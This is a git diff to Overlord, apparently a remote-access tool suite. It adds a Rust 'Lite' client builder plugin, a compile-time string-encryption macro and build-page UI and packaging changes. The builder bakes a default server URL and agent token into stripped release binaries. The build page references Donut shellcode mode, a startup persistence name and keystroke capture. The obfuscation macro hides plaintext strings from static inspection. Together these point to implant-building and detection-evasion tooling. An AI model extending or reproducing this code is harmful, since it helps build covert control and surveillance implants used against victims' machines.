0000000..fe97c8a --- /dev/null +++ b/Overlord-Lite/string-obfuscator/src/lib.rs @@ -0,0 +1,61 @@ +use std::{ + hash::{Hash, Hasher}, + sync::atomic::{AtomicU64, Ordering}, + time::{SystemTime, UNIX_EPOCH}, +}; + +use proc_macro::TokenStream; +use quote::quote; +use syn::{LitStr, parse_macro_input}; + +static INVOCATION: AtomicU64 = AtomicU64::new(1); + +/// Encrypts one UTF-8 string literal while the crate is being compiled and +/// expands to an expression that decrypts it only when evaluated at runtime. +#[proc_macro] +pub fn obfstr(input: TokenStream) -> TokenStream { + let literal = parse_macro_input!(input as LitStr); + let plaintext = literal.value(); + let seed = invocation_seed(&plaintext); + let encrypted = crypt(plaintext.as_bytes(), seed); + let bytes = encrypted.iter(); + + quote!({ + const ENCRYPTED: &[u8] = &[#(#bytes),*]; + ::overlord_lite::obfuscation::decrypt(ENCRYPTED, #seed) + }) + .into() +} + +fn invocation_seed(value: &str) -> u64 { + let timestamp = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() as u64; + let invocation = INVOCATION.fetch_add(1, Ordering::Relaxed); + let mut hasher = std::collections::hash_map::DefaultHasher::new(); + value.hash(&mut hasher); + timestamp.hash(&mut hasher); + invocation.hash(&mut hasher); + std::process::id().hash(&mut hasher); + normalize_seed(hasher.finish()) +} + +fn crypt(input: &[u8], seed: u64) -> Vec { + let mut state = normalize_seed(seed); + input + .iter() + .map(|byte| byte ^ next_key_byte(&mut state)) + .collect() +} + +fn normalize_seed(seed: u64) -> u64 { + seed | 1 +} + +fn next_key_byte(state: &mut u64) -> u8 { + *state ^= *state >> 12; + *state ^= *state << 25; + *state ^= *state >> 27; + (state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8 +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index f1a159d..f91fcd3 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -14,6 +14,8 @@ const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); +const buildProgressTrack = document.getElementById("build-progress-track"); +const buildProgressBar = document.getElementById("build-progress-bar"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildLogIssueCount = document.getElementById("build-log-issue-count"); @@ -59,6 +61,8 @@ const platformInputs = document.querySelectorAll('input[name="platform"]'); const buildPluginsSection = document.getElementById("build-plugins-section"); const buildPluginsList = document.getElementById("build-plugins-list"); const buildPluginsCount = document.getElementById("build-plugins-count"); +const buildProviderSelect = document.getElementById("build-provider"); +const buildProviderDescription = document.getElementById("build-provider-description"); const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section"); const macosSdkFileInput = document.getElementById("macos-sdk-file"); const macosSdkRightsInput = document.getElementById("macos-sdk-rights"); @@ -88,6 +92,7 @@ async function loadMacosSdkStatus() { } function needsMacosSdkUpload() { + if (buildProviderSelect?.value) return false; const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked')) .some((input) => input.value.startsWith("darwin-")); return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked; @@ -231,6 +236,20 @@ let isBuilding = false; const BUILD_LOG_MAX_VISIBLE_LINES = 5000; const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1"; let buildLogRawChunks = []; + +function updateBuildProgress(progress) { + const value = Number(progress); + const visible = progress !== null && progress !== undefined && Number.isFinite(value); + buildProgressTrack?.classList.toggle("hidden", !visible); + if (!visible) { + if (buildProgressBar) buildProgressBar.style.width = "0%"; + buildProgressTrack?.removeAttribute("aria-valuenow"); + return; + } + const clamped = Math.max(0, Math.min(100, value)); + if (buildProgressBar) buildProgressBar.style.width = `${clamped}%`; + buildProgressTrack?.setAttribute("aria-valuenow", String(Math.round(clamped))); +} let buildLogLineCount = 0; let buildLogIssueTotal = 0; let buildLogFollow = true; @@ -476,8 +495,64 @@ function collectBuildPluginSettings() { return result; } +function selectedBuildProviderPlugin() { + const id = buildProviderSelect?.value || ""; + return id ? buildPlugins.find((plugin) => plugin.id === id && plugin.build?.provider) : null; +} + +function updateBuildProviderUi() { + const provider = selectedBuildProviderPlugin(); + const supported = provider ? new Set(provider.build.provider.platforms || []) : null; + for (const input of document.querySelectorAll('input[name="platform"]')) { + const allowed = !supported || supported.has(input.value); + input.disabled = !allowed; + input.closest("label")?.classList.toggle("opacity-40", !allowed); + if (!allowed) input.checked = false; + } + if (provider && !document.querySelector('input[name="platform"]:checked:not(:disabled)')) { + const first = document.querySelector('input[name="platform"]:not(:disabled)'); + if (first) first.checked = true; + } + if (provider) { + if (buildProviderDescription) { + buildProviderDescription.textContent = provider.build.provider.description + || provider.build.description + || `Uses the ${provider.name || provider.id} build provider.`; + } + const enabled = document.querySelector(`[data-build-plugin-enable="${provider.id}"]`); + if (enabled) enabled.checked = true; + } else if (buildProviderDescription) { + buildProviderDescription.textContent = "Uses the built-in full-featured Go client builder."; + } + updateWindowsSectionVisibility(); + updateMacosSdkVisibility(); +} + +function renderBuildProviders() { + if (!buildProviderSelect) return; + const selected = buildProviderSelect.value; + buildProviderSelect.innerHTML = ''; + for (const plugin of buildPlugins) { + if (!plugin.build?.provider || plugin.enabled === false) continue; + const option = document.createElement("option"); + option.value = plugin.id; + option.textContent = plugin.build.provider.label || plugin.build.label || plugin.name || plugin.id; + buildProviderSelect.appendChild(option); + } + if (Array.from(buildProviderSelect.options).some((option) => option.value === selected)) { + buildProviderSelect.value = selected; + } + updateBuildProviderUi(); +} + +buildProviderSelect?.addEventListener("change", () => { + updateBuildProviderUi(); + saveFormSettings(); +}); + function setBuildField(field, value) { const fieldMap = { + buildProvider: "#build-provider", useDonut: "#donut-mode", donutSingleThreaded: "#donut-single-threaded", donutExitMode: "#donut-exit-mode", @@ -738,9 +813,17 @@ async function loadBuildPlugins() { const data = await res.json(); buildPlugins = Array.isArray(data.plugins) ? data.plugins : []; renderBuildPlugins(); + renderBuildProviders(); try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); - if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins); + if (raw) { + const saved = JSON.parse(raw); + applyBuildPluginSettings(saved.buildPlugins); + if (buildProviderSelect && typeof saved.buildProvider === "string") { + buildProviderSelect.value = saved.buildProvider; + updateBuildProviderUi(); + } + } } catch {} } catch (err) { console.warn("Failed to load build plugins:", err); @@ -751,6 +834,7 @@ const BUILD_SETTINGS_KEY = "overlord_build_settings"; function collectFormSettings() { return { + buildProvider: buildProviderSelect?.value || "", platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, @@ -819,6 +903,11 @@ function applyFormSettings(settings) { if (el && val !== undefined) el.checked = !!val; }; + if (settings.buildProvider !== undefined && buildProviderSelect) { + buildProviderSelect.value = String(settings.buildProvider || ""); + updateBuildProviderUi(); + } + if (Array.isArray(settings.platforms)) { settings.platforms.forEach(({ value, checked }) => { const el = document.querySelector(`input[name="platform"][value="${value}"]`); @@ -2025,7 +2114,7 @@ form?.addEventListener("submit", async (e) => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll( - 'input[name="platform"]:checked', + 'input[name="platform"]:checked:not(:disabled)', ); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); @@ -2034,12 +2123,12 @@ form?.addEventListener("submit", async (e) => { return; } - if (!validateStartupName()) { + if (!buildProviderSelect?.value && !validateStartupName()) { document.getElementById("startup-name")?.focus(); return; } - if (disableCgoInput?.checked && !confirm( + if (!buildProviderSelect?.value && disableCgoInput?.checked && !confirm( "CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?" )) { disableCgoInput.focus(); @@ -2108,6 +2197,7 @@ form?.addEventListener("submit", async (e) => { const buildConfig = { platforms, + buildProvider: buildProviderSelect?.value || undefined, serverUrl: serverUrl || undefined, rawServerList, solMemo: document.getElementById("sol-memo")?.checked || false, @@ -2235,6 +2325,7 @@ async function startBuild(config) { revealElement(buildStatus, { duration: 220, offset: 6 }); buildStatusText.textContent = "Starting build..."; + updateBuildProgress(null); buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin"; @@ -2277,13 +2368,14 @@ async function startBuild(config) { await streamBuildOutput(buildId, config); } catch (err) { addBuildOutput(`\nERROR: ${err.message}\n`, "error"); - if (!config.disableCgo) { + if (!config.buildProvider && !config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } buildStatusText.textContent = "Build failed"; + updateBuildProgress(null); buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; @@ -2429,6 +2521,7 @@ async function streamBuildOutput(buildId, config = {}) { addBuildOutput(data.text, data.level || "info"); } else if (data.type === "status") { buildStatusText.textContent = data.text; + updateBuildProgress(data.progress); } else if (data.type === "file_share_uploaded") { uploadedShareFiles.push({ id: data.id, @@ -2437,6 +2530,7 @@ async function streamBuildOutput(buildId, config = {}) { size: data.size, }); } else if (data.type === "complete") { + updateBuildProgress(data.success ? 100 : null); buildStatusText.textContent = data.success ? "Build completed successfully!" : "Build failed"; diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 50a1573..f949a03 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -443,6 +443,21 @@ +
+ +
+
+ +
Loading...
+ diff --git a/plugins/rust-lite-builder/rust-lite-builder.js b/plugins/rust-lite-builder/rust-lite-builder.js new file mode 100644 index 0000000..f913ada --- /dev/null +++ b/plugins/rust-lite-builder/rust-lite-builder.js @@ -0,0 +1,21 @@ +const statusOutput = document.getElementById("rust-lite-status"); +const refreshButton = document.getElementById("rust-lite-refresh"); + +async function refreshStatus() { + statusOutput.textContent = "Checking Rust Lite builder..."; + try { + const response = await fetch("/api/plugins/rust-lite-builder/rpc", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ method: "status", params: {} }), + }); + const body = await response.json(); + if (!body.ok) throw new Error(body.error || "Status check failed"); + statusOutput.textContent = JSON.stringify(body.result, null, 2); + } catch (error) { + statusOutput.textContent = `Error: ${error?.message || error}`; + } +} + +refreshButton?.addEventListener("click", refreshStatus); +refreshStatus(); diff --git a/plugins/rust-lite-builder/server.js b/plugins/rust-lite-builder/server.js new file mode 100644 index 0000000..a666da5 --- /dev/null +++ b/plugins/rust-lite-builder/server.js @@ -0,0 +1,415 @@ +import fs from "fs"; +import path from "path"; + +const TARGETS = { + "windows-amd64": { windows: "x86_64-pc-windows-msvc", other: "x86_64-pc-windows-gnu", extension: ".exe" }, + "windows-arm64": { windows: "aarch64-pc-windows-msvc", other: "aarch64-pc-windows-gnullvm", extension: ".exe" }, + "linux-amd64": { all: "x86_64-unknown-linux-gnu", extension: "" }, + "linux-arm64": { all: "aarch64-unknown-linux-gnu", extension: "" }, + "darwin-amd64": { all: "x86_64-apple-darwin", extension: "" }, + "darwin-arm64": { all: "aarch64-apple-darwin", extension: "" }, +}; + +function rustTarget(platform) { + const target = TARGETS[platform]; + if (!target) throw new Error(`Unsupported Rust Lite platform: ${platform}`); + return process.platform === "win32" ? (target.windows || target.all) : (target.other || target.all); +} + +function findSource(runtimeRoot) { + const candidates = [ + path.join(runtimeRoot, "Overlord-Lite"), + path.join(runtimeRoot, "dist", "Overlord-Lite"), + path.join(runtimeRoot, "..", "Overlord-Lite"), + ]; + for (const candidate of candidates) { + if (fs.existsSync(path.join(candidate, "Cargo.toml"))) return candidate; + } + throw new Error(`Overlord-Lite source not found. Checked: ${candidates.join(", ")}`); +} + +async function capture(command, cwd) { + const proc = Bun.spawn(command, { cwd, stdout: "pipe", stderr: "pipe" }); + const [stdout, stderr, exitCode] = await Promise.all([ + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + proc.exited, + ]); + if (exitCode !== 0) throw new Error(stderr.trim() || `${command[0]} exited with ${exitCode}`); + return stdout.trim(); +} + +async function streamPipe(stream, onLine) { + const reader = stream.getReader(); + const decoder = new TextDecoder(); + let pending = ""; + while (true) { + const { done, value } = await reader.read(); + pending += decoder.decode(value || new Uint8Array(), { stream: !done }); + const lines = pending.split(/\r?\n/); + pending = lines.pop() || ""; + for (const line of lines) if (line.trim()) onLine(line); + if (done) break; + } + if (pending.trim()) onLine(pending); +} + +function packageVersion(sourceDir) { + const cargo = fs.readFileSync(path.join(sourceDir, "Cargo.toml"), "utf8"); + return cargo.match(/^version\s*=\s*"([^"]+)"/m)?.[1] || "unknown"; +} + +function formatDuration(milliseconds) { + const seconds = Math.max(0, Math.round(milliseconds / 1000)); + if (seconds < 60) return `${seconds}s`; + const minutes = Math.floor(seconds / 60); + const remainingSeconds = seconds % 60; + if (minutes < 60) return remainingSeconds ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`; + const hours = Math.floor(minutes / 60); + const remainingMinutes = minutes % 60; + return remainingMinutes ? `${hours}h ${remainingMinutes}m` : `${hours}h`; +} + +async function estimatePackageCount(sourceDir, target, locked) { + const args = [ + "cargo", + "tree", + "--target", + target, + "--prefix", + "none", + "--format", + "{p}", + ]; + if (locked) args.push("--locked"); + const output = await capture(args, sourceDir); + const packages = new Set( + output + .split(/\r?\n/) + .map((line) => line.replace(/ \(\*\)$/, "").replace(/ \(proc-macro\)$/, "").trim()) + .filter(Boolean), + ); + return packages.size; +} + +function readBuildHistory(dataDir) { + try { + const parsed = JSON.parse(fs.readFileSync(path.join(dataDir, "build-history.json"), "utf8")); + return parsed && typeof parsed === "object" ? parsed : {}; + } catch { + return {}; + } +} + +function recordBuildDuration(dataDir, target, durationMs) { + const historyPath = path.join(dataDir, "build-history.json"); + const history = readBuildHistory(dataDir); + const previous = Number(history[target]?.durationMs); + const samples = Math.max(0, Number(history[target]?.samples) || 0) + 1; + history[target] = { + durationMs: Number.isFinite(previous) + ? Math.round(previous * 0.6 + durationMs * 0.4) + : Math.round(durationMs), + samples, + updatedAt: Date.now(), + }; + try { + fs.writeFileSync(historyPath, JSON.stringify(history, null, 2)); + } catch { + // Progress history is optional; a read-only data directory must not fail the build. + } +} + +function createTargetProgress(ctx, options) { + const DEFAULT_LINK_BUDGET_MS = 35_000; + const startedAt = Date.now(); + const packageStates = new Map(); + let linking = false; + let linkingStartedAt = null; + let finalizing = false; + let finished = false; + let lastStatusAt = 0; + let lastLoggedBucket = -1; + + function snapshot() { + const elapsedMs = Date.now() - startedAt; + const completedPackages = packageStates.size; + const freshPackages = Array.from(packageStates.values()).filter(Boolean).length; + const packageRatio = options.estimatedPackages > 0 + ? Math.min(1, completedPackages / options.estimatedPackages) + : 0; + const historicalDurationMs = Number.isFinite(options.historicalDurationMs) + ? options.historicalDurationMs + : null; + const linkBudgetMs = historicalDurationMs === null + ? DEFAULT_LINK_BUDGET_MS + : Math.max(10_000, historicalDurationMs * 0.4); + const linkingElapsedMs = linkingStartedAt === null ? 0 : Date.now() - linkingStartedAt; + let targetRatio = Math.min(0.7, packageRatio * 0.7); + if (linking) { + const estimatedLinkRatio = Math.min(0.95, linkingElapsedMs / linkBudgetMs); + targetRatio = Math.max(targetRatio, 0.7 + estimatedLinkRatio * 0.28); + } + if (finalizing) targetRatio = Math.max(targetRatio, 0.98); + if (finished) targetRatio = 1; + const overallRatio = (options.targetIndex + targetRatio) / options.targetCount; + + let predictedTargetMs = null; + if (historicalDurationMs !== null && historicalDurationMs > 0) { + predictedTargetMs = Math.max(elapsedMs, historicalDurationMs); + } + if (linking && historicalDurationMs === null) { + predictedTargetMs = elapsedMs + Math.max(5_000, linkBudgetMs - linkingElapsedMs); + } else if (!linking && elapsedMs >= 5_000 && packageRatio >= 0.05) { + const rollingPrediction = elapsedMs / packageRatio + linkBudgetMs; + predictedTargetMs = predictedTargetMs === null + ? rollingPrediction + : predictedTargetMs * 0.65 + rollingPrediction * 0.35; + } + const etaMs = predictedTargetMs === null || finished + ? null + : Math.max( + 0, + predictedTargetMs - elapsedMs + + (options.targetCount - options.targetIndex - 1) * predictedTargetMs, + ); + + return { + elapsedMs, + completedPackages, + freshPackages, + targetRatio, + overallRatio, + etaMs, + }; + } + + function emit(force = false) { + const now = Date.now(); + if (!force && now - lastStatusAt < 1_500) return; + lastStatusAt = now; + const state = snapshot(); + const targetPercent = Math.round(state.targetRatio * 100); + const overallPercent = Math.round(state.overallRatio * 100); + const phase = finalizing + ? "finalizing artifact" + : linking + ? "linking + LTO" + : "compiling"; + const pieces = [ + `Rust Lite ${options.platform} (${options.targetIndex + 1}/${options.targetCount})`, + `${overallPercent}% overall`, + `${targetPercent}% target`, + phase, + ]; + if (options.estimatedPackages > 0) { + pieces.push(`${state.completedPackages}/${options.estimatedPackages} crates`); + } + pieces.push(`${formatDuration(state.elapsedMs)} elapsed`); + if (state.etaMs !== null && state.etaMs >= 1_000) { + pieces.push(`ETA ~${formatDuration(state.etaMs)}`); + } + const text = pieces.join(" • "); + ctx.build.status( + text, + Math.min(100, state.overallRatio * 100), + state.etaMs === null ? undefined : Math.ceil(state.etaMs / 1000), + ); + + const bucket = Math.floor(overallPercent / 10); + if (bucket > lastLoggedBucket && overallPercent > 0) { + lastLoggedBucket = bucket; + ctx.build.output(`Progress: ${text}`); + } + } + + return { + startedAt, + noteArtifact(packageId, fresh) { + const previous = packageStates.get(packageId); + packageStates.set(packageId, previous === false ? false : fresh === true); + emit(); + }, + markLinking() { + linking = true; + linkingStartedAt ??= Date.now(); + emit(true); + }, + markFinalizing() { + finalizing = true; + emit(true); + }, + markFinished() { + finished = true; + emit(true); + return snapshot(); + }, + emit, + }; +} + +export default { + setup(ctx) { + ctx.log.info("Rust Lite build provider ready"); + }, + + async onBuild(ctx, payload) { + const sourceDir = findSource(String(payload.runtimeRoot || "")); + const outputDir = path.resolve(String(payload.outputDir || "")); + const targetDir = path.join(ctx.dataDir, "cargo-target"); + const platforms = Array.isArray(payload.platforms) ? payload.platforms : []; + if (platforms.length === 0) throw new Error("No Rust Lite platforms were requested"); + fs.mkdirSync(outputDir, { recursive: true }); + fs.mkdirSync(targetDir, { recursive: true }); + + const cargoVersion = await capture(["cargo", "--version"], sourceDir); + ctx.build.output(`Using ${cargoVersion}`); + ctx.build.output(`Rust Lite source: ${sourceDir}`); + const settings = payload.settings && typeof payload.settings === "object" ? payload.settings : {}; + const tlsSpkiPins = Array.isArray(payload.tlsSpkiPins) + ? payload.tlsSpkiPins.map(String).filter(Boolean) + : []; + if (tlsSpkiPins.length > 0) { + ctx.build.output( + `TLS identity pinning: enabled (${tlsSpkiPins.length} trusted key${tlsSpkiPins.length === 1 ? "" : "s"})`, + ); + } else { + ctx.build.output("WARNING: No TLS SPKI pin is available for this build", "warn"); + } + const requestedJobs = Math.trunc(Number(settings.jobs)); + const jobs = Number.isFinite(requestedJobs) && requestedJobs > 0 + ? Math.max(1, Math.min(32, requestedJobs)) + : null; + const version = packageVersion(sourceDir); + const artifacts = []; + + const history = readBuildHistory(ctx.dataDir); + for (const [targetIndex, platform] of platforms.entries()) { + const target = rustTarget(platform); + const locked = settings.locked !== false; + let estimatedPackages = 0; + try { + estimatedPackages = await estimatePackageCount(sourceDir, target, locked); + } catch (error) { + ctx.build.output(`Package-count estimate unavailable: ${error?.message || error}`, "warn"); + } + const progress = createTargetProgress(ctx, { + platform, + targetIndex, + targetCount: platforms.length, + estimatedPackages, + historicalDurationMs: Number(history[target]?.durationMs) || null, + }); + progress.emit(true); + ctx.build.output(`\n=== Rust Lite ${platform} (${target}) ===`); + ctx.build.output( + `Release profile: opt-level=z, LTO, 1 codegen unit, stripped symbols, panic=abort`, + ); + ctx.build.output(`Cargo jobs: ${jobs === null ? "automatic (host CPU count)" : jobs}`); + if (estimatedPackages > 0) ctx.build.output(`Estimated dependency graph: ${estimatedPackages} crates`); + const args = [ + "cargo", + "build", + "--release", + "--target", + target, + "--message-format=json-render-diagnostics", + ]; + if (jobs !== null) args.push("--jobs", String(jobs)); + if (locked) args.push("--locked"); + const env = { + ...process.env, + CARGO_TARGET_DIR: targetDir, + OVERLORD_LITE_DEFAULT_SERVER: String(payload.serverUrl || ""), + OVERLORD_LITE_DEFAULT_AGENT_TOKEN: String(payload.agentToken || ""), + OVERLORD_LITE_DEFAULT_BUILD_TAG: String(payload.buildTag || ""), + OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS: tlsSpkiPins.join(","), + }; + const proc = Bun.spawn(args, { + cwd: sourceDir, + env, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + }); + const progressTimer = setInterval(() => progress.emit(), 2_000); + let exitCode; + try { + await Promise.all([ + streamPipe(proc.stdout, (line) => { + let message; + try { + message = JSON.parse(line); + } catch { + ctx.build.output(line, "info"); + return; + } + if (message.reason === "compiler-artifact" && typeof message.package_id === "string") { + progress.noteArtifact(message.package_id, message.fresh === true); + } else if (message.reason === "compiler-message" && message.message?.rendered) { + const level = message.message.level === "error" + ? "error" + : message.message.level === "warning" + ? "warn" + : "info"; + ctx.build.output(String(message.message.rendered).trimEnd(), level); + } + }), + streamPipe(proc.stderr, (line) => { + if (/^\s*Compiling\s+overlord-lite\b/i.test(line)) progress.markLinking(); + ctx.build.output(line, /^\s*error(?:\[|:)/i.test(line) ? "error" : "info"); + }), + ]); + exitCode = await proc.exited; + } finally { + clearInterval(progressTimer); + } + if (exitCode !== 0) { + throw new Error( + `Cargo failed for ${platform} (exit ${exitCode}). Install the ${target} Rust target and its required cross-linker.`, + ); + } + + progress.markFinalizing(); + const extension = TARGETS[platform].extension; + const builtPath = path.join(targetDir, target, "release", `overlord-lite${extension}`); + if (!fs.existsSync(builtPath)) throw new Error(`Cargo did not create ${builtPath}`); + const baseName = String(payload.outputName || "overlord-lite").replace(/[^A-Za-z0-9._-]/g, "") || "overlord-lite"; + const filename = `${baseName}-${platform}${extension}`; + fs.copyFileSync(builtPath, path.join(outputDir, filename)); + artifacts.push({ + name: `Overlord Lite ${platform}`, + filename, + platform, + version, + }); + const completed = progress.markFinished(); + recordBuildDuration(ctx.dataDir, target, completed.elapsedMs); + const compiledPackages = Math.max(0, completed.completedPackages - completed.freshPackages); + ctx.build.output( + `Completed ${platform} in ${formatDuration(completed.elapsedMs)} ` + + `(${completed.freshPackages} cached, ${compiledPackages} compiled crates)`, + "success", + ); + ctx.build.output(`Artifact ready: ${filename}`, "success"); + } + + return { artifacts }; + }, + + rpc: { + async status(_ctx, _params) { + let cargo = null; + try { + cargo = await capture(["cargo", "--version"], process.cwd()); + } catch (error) { + cargo = `Unavailable: ${error?.message || error}`; + } + return { + cargo, + host: `${process.platform}-${process.arch}`, + note: "Cross-target builds require the corresponding rustup target and linker.", + }; + }, + }, +}; diff --git a/scripts/build-prod-package.bat b/scripts/build-prod-package.bat index 50d78b1..d0d3191 100644 --- a/scripts/build-prod-package.bat +++ b/scripts/build-prod-package.bat @@ -4,6 +4,8 @@ set "SCRIPT_DIR=%~dp0" for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" set "SERVER_SRC=%ROOT%Overlord-Server" set "CLIENT_SRC=%ROOT%Overlord-Client" +set "LITE_SRC=%ROOT%Overlord-Lite" +set "LITE_PLUGIN_SRC=%ROOT%plugins\rust-lite-builder" set "RELEASE_DIR=%ROOT%release" if not exist "%SERVER_SRC%\package.json" ( @@ -16,6 +18,16 @@ if not exist "%CLIENT_SRC%\go.mod" ( exit /b 1 ) +if not exist "%LITE_SRC%\Cargo.toml" ( + echo [error] Overlord-Lite not found at: %LITE_SRC% + exit /b 1 +) + +if not exist "%LITE_PLUGIN_SRC%\config.json" ( + echo [error] Rust Lite Builder plugin not found at: %LITE_PLUGIN_SRC% + exit /b 1 +) + where bun >nul 2>&1 if errorlevel 1 ( echo [error] bun was not found in PATH. @@ -28,34 +40,34 @@ if errorlevel 1 ( exit /b 1 ) -echo [1/10] Building server bundle and web assets... +echo [1/11] Building server bundle and web assets... pushd "%SERVER_SRC%" call bun install if errorlevel 1 goto :err call bun run build if errorlevel 1 goto :err -echo [2/10] Compiling Windows production executable... +echo [2/11] Compiling Windows production executable... call bun run build:prod:win if errorlevel 1 goto :err -echo [3/10] Compiling Linux production executable... +echo [3/11] Compiling Linux production executable... call bun run build:prod:linux if errorlevel 1 goto :err popd -echo [4/10] Skipping prebuilt client binaries ^(prod package exports client source only^) +echo [4/11] Skipping prebuilt client binaries ^(prod package exports client source only^) -echo [5/10] Preparing release folder... +echo [5/11] Preparing release folder... if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%" mkdir "%RELEASE_DIR%" if errorlevel 1 goto :err -echo [6/10] Copying compiled server executables... +echo [6/11] Copying compiled server executables... copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul if errorlevel 1 goto :err copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul if errorlevel 1 goto :err -echo [6b/10] Copying sharp native module for runtime resolution... +echo [6b/11] Copying sharp native module for runtime resolution... if exist "%SERVER_SRC%\node_modules\sharp" ( robocopy "%SERVER_SRC%\node_modules\sharp" "%RELEASE_DIR%\node_modules\sharp" /E >nul if errorlevel 8 goto :robocopy_err @@ -65,21 +77,27 @@ if exist "%SERVER_SRC%\node_modules\@img" ( if errorlevel 8 goto :robocopy_err ) -echo [7/10] Exporting Overlord-Client source for runtime builds... +echo [7/11] Exporting Overlord-Client source for runtime builds... robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul if errorlevel 8 goto :robocopy_err -echo [8/10] Copying required public web assets... +echo [8/11] Exporting Overlord-Lite source and Rust builder plugin... +robocopy "%LITE_SRC%" "%RELEASE_DIR%\Overlord-Lite" /E /XD target .git .vscode >nul +if errorlevel 8 goto :robocopy_err +robocopy "%LITE_PLUGIN_SRC%" "%RELEASE_DIR%\plugins\rust-lite-builder" /E /XD data /XF rust-lite-builder.zip >nul +if errorlevel 8 goto :robocopy_err + +echo [9/11] Copying required public web assets... robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul if errorlevel 8 goto :robocopy_err -echo [9/10] Minifying public JS, CSS, and HTML assets... +echo [10/11] Minifying public JS, CSS, and HTML assets... pushd "%SERVER_SRC%" call bun run scripts/minify-public.ts --dir "%RELEASE_DIR%\public" if errorlevel 1 goto :err popd -echo [10/10] Creating runner scripts... +echo [11/11] Creating runner scripts... ( echo @echo off diff --git a/scripts/build-prod-package.sh b/scripts/build-prod-package.sh index a0932f9..762a85d 100644 --- a/scripts/build-prod-package.sh +++ b/scripts/build-prod-package.sh @@ -5,6 +5,8 @@ SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" SERVER_SRC="$ROOT/Overlord-Server" CLIENT_SRC="$ROOT/Overlord-Client" +LITE_SRC="$ROOT/Overlord-Lite" +LITE_PLUGIN_SRC="$ROOT/plugins/rust-lite-builder" DIST_CLIENTS_SRC="$ROOT/dist-clients" RELEASE_DIR="$ROOT/release/prod-package" @@ -18,6 +20,16 @@ if [[ ! -f "$CLIENT_SRC/go.mod" ]]; then exit 1 fi +if [[ ! -f "$LITE_SRC/Cargo.toml" ]]; then + echo "[error] Overlord-Lite not found at: $LITE_SRC" >&2 + exit 1 +fi + +if [[ ! -f "$LITE_PLUGIN_SRC/config.json" ]]; then + echo "[error] Rust Lite Builder plugin not found at: $LITE_PLUGIN_SRC" >&2 + exit 1 +fi + if ! command -v bun >/dev/null 2>&1; then echo "[error] bun was not found in PATH." >&2 exit 1 @@ -49,25 +61,29 @@ copy_tree_excluding() { fi } -echo "[1/5] Building server bundle..." +echo "[1/6] Building server bundle..." pushd "$SERVER_SRC" >/dev/null bun install bun run build:css bun run build popd >/dev/null -echo "[2/5] Skipping prebuilt client binaries (prod package exports client source only)" +echo "[2/6] Skipping prebuilt client binaries (prod package exports client source only)" -echo "[3/5] Preparing release folder..." +echo "[3/6] Preparing release folder..." rm -rf "$RELEASE_DIR" mkdir -p "$RELEASE_DIR" -echo "[4/5] Exporting Overlord-Server..." +echo "[4/6] Exporting Overlord-Server..." copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode" -echo "[5/5] Exporting Overlord-Client source for runtime builds..." +echo "[5/6] Exporting Overlord-Client source for runtime builds..." copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode" +echo "[6/6] Exporting Overlord-Lite source and Rust builder plugin..." +copy_tree_excluding "$LITE_SRC" "$RELEASE_DIR/Overlord-Lite" "target" ".git" ".vscode" +copy_tree_excluding "$LITE_PLUGIN_SRC" "$RELEASE_DIR/Overlord-Server/plugins/rust-lite-builder" "data" "rust-lite-builder.zip" + if [[ -d "$DIST_CLIENTS_SRC" ]]; then echo "[extra] Copying prebuilt dist-clients..." mkdir -p "$RELEASE_DIR/dist-clients"